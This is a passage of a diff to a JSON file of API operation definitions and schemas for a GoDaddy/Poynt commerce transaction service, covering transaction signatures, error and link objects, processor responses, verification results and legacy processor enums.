+ }, + "type": "array" + }, + "loyaltyId": { + "format": "int64", + "type": "integer" + }, + "reward": { + "items": { + "$ref": "#/$defs/LegacyPoyntLoyaltyReward" + }, + "type": "array" + } }, - "description": { - "type": "string", - "description": "The human-readable description for an issue. The description MAY change over the lifetime of an API, so clients MUST NOT depend on this value." - } + "type": "object" }, - "required": [ - "issue" - ] - } - }, - "links": { - "type": "array", - "description": "An array of error-related HATEOAS links.", - "readOnly": true, - "items": { - "readOnly": true, - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target.", - "type": "string", - "format": "uri" - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "processorOptions": { + "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, "type": "string" }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "processorTransactionId": { + "description": "The capability to enter a transaction id along with approval code.", + "maxLength": 64, + "type": "string" + }, + "reason": { + "description": "Reason for transaction - currently only applicable for lodging.", + "properties": { + "program": { + "description": "The reason for the transaction - currently only applicable for lodging.", + "enum": [ + "NO_SHOW", + "PURCHASE", + "CARD_DEPOSIT", + "DELAYED_CHARGE", + "EXPRESS_SERVICE", + "ASSURED_RESERVATION" + ], + "type": "string" + }, + "programFor": { + "description": "Some programs require this additional programFor list to be populated.", + "items": { + "enum": [ + "RESTAURANT", + "GIFT_SHOP", + "MINI_BAR", + "TELEPHONE", + "LAUNDRY", + "OTHER" + ], + "type": "string" + }, + "type": "array" + } }, - "submissionSchema": { - "description": "The schema that describes the request data.", - "type": "string", - "format": "uri" - } + "type": "object" }, - "required": [ - "rel", - "href" - ] - } - } - }, - "required": [ - "name", - "correlationId", - "message" - ] - } - } - }, - "scopes": [ - "commerce.transaction:read", - "commerce.transaction:write" - ] - }, - { - "operationId": "addTransactionSignatureByTransactionId", - "method": "POST", - "path": "/stores/{storeId}/transactions/{transactionId}/signatures", - "summary": "Add transaction signature", - "description": "Add a transaction signature using the store and transaction IDs.", - "parameters": [ - { - "name": "storeId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/transaction/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - }, - { - "name": "transactionId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/transaction/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom ID format that can take URN or an UUID", - "type": "string", - "example": "urn:trn:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})|(urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "Request Id", - "in": "header", - "required": false, - "schema": { - "type": "string", - "format": "uuid" - } - } - ], - "requestBody": { - "required": false, - "contentType": "multipart/form-data", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/signature.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Customer Signature", - "type": "object", - "description": "Representation of Customer signature received during transaction", - "properties": { - "signature": { - "type": "string", - "format": "binary", - "writeOnly": true, - "description": "Signature data in Binary format" - }, - "createdAt": { - "type": "string", - "format": "date-time", - "readOnly": true, - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "signatureUrl": { - "type": "string", - "format": "uri", - "readOnly": true, - "description": "URL of the image uploaded" - }, - "id": { - "$id": "https://godaddy.com/schemas/commerce/transaction/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - } - } - }, - "responses": { - "200": { - "description": "Request was successful" - }, - "default": { - "description": "Error", - "schema": { - "$id": "https://godaddy.com/schema/common/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Error", - "description": "The error information.", - "properties": { - "name": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "correlationId": { - "type": "string", - "description": "Internal identifier used for correlation purposes." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - }, - "informationLink": { - "type": "string", - "description": "The URI for detailed information related to this error for the developer." - }, - "details": { - "type": "array", - "description": "An array of additional details about the error. Required for client-side `4XX` errors.", - "additionalItems": false, - "items": { - "$id": "https://godaddy.com/schema/common/error-details.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error Details", - "type": "object", - "description": "The error details. Required for client-side `4XX` errors.", - "properties": { - "field": { - "type": "string", - "description": "The field that caused the error. If the field is in the body, set this value to the JSON pointer to that field. Required for client-side errors." - }, - "value": { - "type": "string", - "description": "The value of the field that caused the error." + "receiptEmailAddress": { + "description": "Email address collected from the customer.", + "maxLength": 512, + "type": "string" + }, + "receiptPhone": { + "description": "Phone collected from the customer to SMS receipt.", + "properties": { + "areaCode": { + "type": "string" + }, + "createdAt": { + "format": "date-time", + "type": "string" + }, + "extensionNumber": { + "type": "string" + }, + "id": { + "format": "int64", + "type": "integer" + }, + "ituCountryCode": { + "type": "string" + }, + "localPhoneNumber": { + "type": "string" + }, + "primaryDayTime": { + "type": "boolean" + }, + "primaryEvening": { + "type": "boolean" + }, + "status": { + "enum": [ + "ADDED", + "CONFIRMED" + ], + "type": "string" + }, + "type": { + "enum": [ + "HOME", + "WORK", + "BUSINESS", + "MOBILE", + "FAX", + "PAGER", + "RECEIPT", + "OTHER" + ], + "type": "string" + }, + "updatedAt": { + "format": "date-time", + "type": "string" + } }, - "location": { - "type": "string", - "description": "The location of the field that caused the error. Value is `body`, `path`, or `query`.", - "default": "body" + "type": "object" + }, + "references": { + "description": "References to orders/invoices that this transaction is for.", + "items": { + "$id": "https://godaddy.com/schemas/commerce/transaction/transaction-reference.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Reference to a document (e.g. order or invoice) that this transaction is for", + "properties": { + "additionalLabel": { + "description": "(Optional) Label that the reference points to", + "maxLength": 32, + "type": "string" + }, + "type": { + "maxLength": 32, + "type": "string" + }, + "value": { + "maxLength": 128, + "type": "string" + } + }, + "required": [ + "value", + "type" + ], + "title": "Transaction Reference", + "type": "object" }, - "issue": { - "type": "string", - "description": "The unique fine-grained application-level error code." + "type": "array" + }, + "reversalVoid": { + "type": "boolean" + }, + "saveCardOnFile": { + "description": "This boolean field is used to inform if user wants to save card on file with this transaction. Client must use this field wherever applicable for better approval rate.", + "type": "boolean" + }, + "settled": { + "type": "boolean" + }, + "settlementStatus": { + "description": "Represents settlement status of transaction.", + "maxLength": 32, + "type": "string" + }, + "shippingAddress": { + "description": "A shipping address associated with the transaction.", + "properties": { + "city": { + "maxLength": 64, + "type": "string" + }, + "countryCode": { + "maxLength": 3, + "type": "string" + }, + "createdAt": { + "description": "The time (in ISO-8601 format) at which the address was created. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "type": "string" + }, + "id": { + "format": "int64", + "type": "integer" + }, + "line1": { + "maxLength": 128, + "type": "string" + }, + "line2": { + "maxLength": 128, + "type": "string" + }, + "postalCode": { + "maxLength": 16, + "type": "string" + }, + "postalCodeExtension": { + "maxLength": 16, + "type": "string" + }, + "primary": { + "type": "boolean" + }, + "status": { + "const": "ADDED", + "type": "string" + }, + "territory": { + "maxLength": 64, + "type": "string" + }, + "territoryType": { + "description": "TerritoryType enum and territory go hand in hand. This enum specifies what kind of territory is in the territory field. E.g. in the US, this will typically be STATE.", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + }, + "type": { + "enum": [ + "HOME", + "WORK", + "BUSINESS", + "TRANSACTION", + "OTHER" + ], + "type": "string" + }, + "updatedAt": { + "description": "The time (in ISO-8601 format) at which the address was updated. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "type": "string" + } }, - "description": { - "type": "string", - "description": "The human-readable description for an issue. The description MAY change over the lifetime of an API, so clients MUST NOT depend on this value." - } + "type": "object" }, - "required": [ - "issue" - ] - } + "signature": { + "description": "Signature collected from the customer.", + "format": "byte", + "type": "string" + }, + "signatureCaptured": { + "description": "This is a response field. This field could be used by the client to inform that signature has or will soon be captured. The server uses this field to inform whether a signature has been captured.", + "type": "boolean" + }, + "signatureRequired": { + "type": "boolean" + }, + "status": { + "description": "If funding source is CASH, only CAPTURED and REFUNDED are the possible options. The SAVE feature is not applicable to CASH.", + "enum": [ + "CREATED", + "SAVED", + "AUTHORIZED", + "PENDING", + "PARTIALLY_CAPTURED", + "CAPTURED", + "DECLINED", + "PARTIALLY_CAPTURED_AND_PARTIALLY_REFUNDED", + "PARTIALLY_REFUNDED", + "REFUNDED", + "VOIDED", + "STEP_UP" + ], + "type": "string" + }, + "stayType": { + "enum": [ + "GENERAL_CONTAINER", + "REGULAR_STAY", + "QUICK_STAY", + "NON_LODGING_SALE", + "NON_LODGING_NRR" + ], + "type": "string" + }, + "systemTraceAuditNumber": { + "description": "This is a unique number per transaction session generated by the terminal.", + "maxLength": 6, + "minLength": 1, + "type": "string" + }, + "voided": { + "type": "boolean" + } + }, + "type": "object" }, "links": { - "type": "array", - "description": "An array of error-related HATEOAS links.", - "readOnly": true, + "description": "Links associated with this transaction", "items": { - "readOnly": true, "$id": "https://godaddy.com/schema/common/link-description.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", "properties": { "href": { "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" }, "rel": { "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", "type": "string" }, - "title": { - "description": "The link title.", + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data.", + "format": "uri", "type": "string" }, "targetMediaType": { @@ -30984,339 +21185,2004 @@ }, "targetSchema": { "description": "The schema that describes the link target.", - "type": "string", - "format": "uri" - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "format": "uri", "type": "string" }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data.", - "type": "string", - "format": "uri" + "title": { + "description": "The link title.", + "type": "string" } }, "required": [ "rel", "href" - ] - } - } - }, - "required": [ - "name", - "correlationId", - "message" - ] - } - } - }, - "scopes": [ - "commerce.transaction:write" - ] - }, - { - "operationId": "getTransactionSignaturesById", - "method": "GET", - "path": "/stores/{storeId}/transactions/{transactionId}/signatures", - "summary": "Get transaction signatures", - "description": "Get all transaction signatures using the store and transaction IDs.", - "parameters": [ - { - "name": "storeId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/transaction/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - }, - { - "name": "transactionId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/transaction/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom ID format that can take URN or an UUID", - "type": "string", - "example": "urn:trn:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})|(urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "Request Id", - "in": "header", - "required": false, - "schema": { - "type": "string", - "format": "uuid" - } - }, - { - "name": "page", - "in": "query", - "required": false, - "schema": { - "type": "integer", - "default": 1 - } - }, - { - "name": "pageSize", - "in": "query", - "required": false, - "schema": { - "type": "integer", - "default": 10 - } - }, - { - "name": "totalRequired", - "in": "query", - "required": false, - "schema": { - "type": "boolean", - "default": false - } - } - ], - "responses": { - "200": { - "description": "Transaction Signature list", - "schema": { - "title": "Transaction Signatures", - "allOf": [ - { + ], + "title": "Link Description", + "type": "object" + }, + "type": "array" + }, + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + }, + "processingInstructions": { + "$id": "https://godaddy.com/schemas/commerce/transaction/transaction-processing-instruction.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Instructions to be used while processing transaction", "properties": { - "totalItems": { - "type": "integer" + "authOnly": { + "default": false, + "description": "Perform authorize only and do not auto capture. Applicable only for AUTHORIZATION type payment", + "type": "boolean", + "writeOnly": true }, - "totalPages": { - "type": "integer" + "partialAuthEnabled": { + "default": true, + "description": "Allow partial authorizations. Applicable only for AUTHORIZATION and SALE type payment", + "type": "boolean", + "writeOnly": true + }, + "statementDescriptorSuffix": { + "description": "Transaction-level statement descriptor suffix. It's optional field. If parent transaction has data it will be used from parent transaction. If not provided then statement descriptor suffix from device/store/business level will be used.", + "type": "string", + "writeOnly": true + }, + "storeAndForward": { + "default": false, + "description": "Store and forward transaction. Used to identify if the transaction is online or offline", + "type": "boolean" + } + }, + "title": "Transaction Processing Instruction", + "type": "object" + }, + "processorResponse": { + "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/processor-response.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Response from processor received as part of processing transaction", + "discriminator": { + "mapping": { + "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", + "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" + }, + "propertyName": "processorType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/processor-response/creditcard.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Processor response for credit card", + "properties": { + "approvalCode": { + "description": "The approval code that came back from the acquirer (usually its 6 alpha-numeric characters).", + "maxLength": 32, + "type": "string" + }, + "approvedAmount": { + "description": "The amount that the authorization was approved for. This could be different from the transactionAmount requested.", + "format": "int64", + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/processor-response/cv-verification-result.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address verification result details obtained from processor", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } + }, + "title": "Address Verification Results", + "type": "object" + }, + "cvResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/cv-result-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "title": "CVV Verification result status", + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "legacyProcessorData": { + "$defs": { + "LegacyAVSResult": { + "properties": { + "actualResult": { + "type": "string" + }, + "addressResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "cardHolderNameResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "cityResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "countryResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "phoneResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "postalCodeResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "stateResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + } + }, + "type": "object", + "x-legacy": true + }, + "LegacyAVSResultType": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "LegacyCVResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "NOT_PROCESSED", + "NO_CODE_PRESENT", + "SHOULD_HAVE_BEEN_PRESENT", + "ISSUER_NOT_CERTIFIED", + "INVALID", + "NO_RESPONSE", + "NOT_APPLICABLE" + ], + "type": "string" + }, + "LegacyECheckProcessor": { + "enum": [ + "MOCK", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "LegacyProcessor": { + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "LegacyProcessorStatus": { + "enum": [ + "Successful", + "Failure" + ], + "type": "string" + }, + "LegacyProviderVerification": { + "description": "Provider verification fields.", + "properties": { + "publicKeyHash": { + "description": "A hash of the public key so Poynt knows it has the right public key.", + "type": "string" + }, + "signature": { + "description": "Base64 encoded signature of the transactions.", + "type": "string" + } + }, + "type": "object" + }, + "LegacyStrongCustomerAuthenticationResult": { + "enum": [ + "ENTER_PIN", + "INSERT_CARD", + "CDCVM" + ], + "type": "string" + } + }, + "$id": "https://poynt.godaddy.com/schemas/transaction/processor-response-metadata.v2", + "$schema": "https://json-schema.org/draft/2019-09/schema", + "deprecated": true, + "description": "Legacy Processor response fields.", + "properties": { + "acquirer": { + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "adapterId": { + "type": "string" + }, + "adapterVariant": { + "type": "string" + }, + "avsResult": { + "properties": { + "actualResult": { + "type": "string" + }, + "addressResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "cardHolderNameResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "cityResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "countryResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "phoneResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "postalCodeResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "stateResult": { + "$ref": "#/$defs/LegacyAVSResultType" + } + }, + "type": "object", + "x-legacy": true + }, + "batchAutoClosedByHost": { + "type": "string" + }, + "batchId": { + "description": "The ID of the settlement batch that this transaction is assigned to.", + "maxLength": 64, + "type": "string" + }, + "cardToken": { + "maxLength": 256, + "type": "string" + }, + "cvActualResult": { + "type": "string" + }, + "cvResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "NOT_PROCESSED", + "NO_CODE_PRESENT", + "SHOULD_HAVE_BEEN_PRESENT", + "ISSUER_NOT_CERTIFIED", + "INVALID", + "NO_RESPONSE", + "NOT_APPLICABLE" + ], + "type": "string" + }, + "debitResponseCode": { + "type": "string" + }, + "echeckProcessor": { + "enum": [ + "MOCK", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "issuerResponseCode": { + "type": "string" + }, + "pinSessionKey": { + "type": "string" + }, + "processedAt": { + "description": "Date / time of transaction received by the processor host.", + "format": "date-time", + "type": "string" + }, + "processor": { + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "providerVerification": { + "description": "Provider verification fields.", + "properties": { + "publicKeyHash": { + "description": "A hash of the public key so Poynt knows it has the right public key.", + "type": "string" + }, + "signature": { + "description": "Base64 encoded signature of the transactions.", + "type": "string" + } + }, + "type": "object" + }, + "ps2000Data": { + "description": "Payment Service 2000 data to process a secondary transaction", + "type": "string" + }, + "retrievalRefNum": { + "maxLength": 64, + "type": "string" + }, + "scaResult": { + "enum": [ + "ENTER_PIN", + "INSERT_CARD", + "CDCVM" + ], + "type": "string" + }, + "status": { + "enum": [ + "Successful", + "Failure" + ], + "type": "string" + }, + "statusCode": { + "description": "Will be 1 if status is Successful. If status is Failure, it will be whatever statusCode came from the acquirer.", + "maxLength": 64, + "type": "string" + }, + "statusMessage": { + "description": "Will be whatever message came back from the acquirer.", + "maxLength": 512, + "type": "string" + }, + "transactionId": { + "description": "The transactionID that came back from the acquirer.", + "maxLength": 64, + "type": "string" + } + }, + "type": "object", + "x-legacy": true + }, + "scaResult": { + "description": "Represents a SCA status if 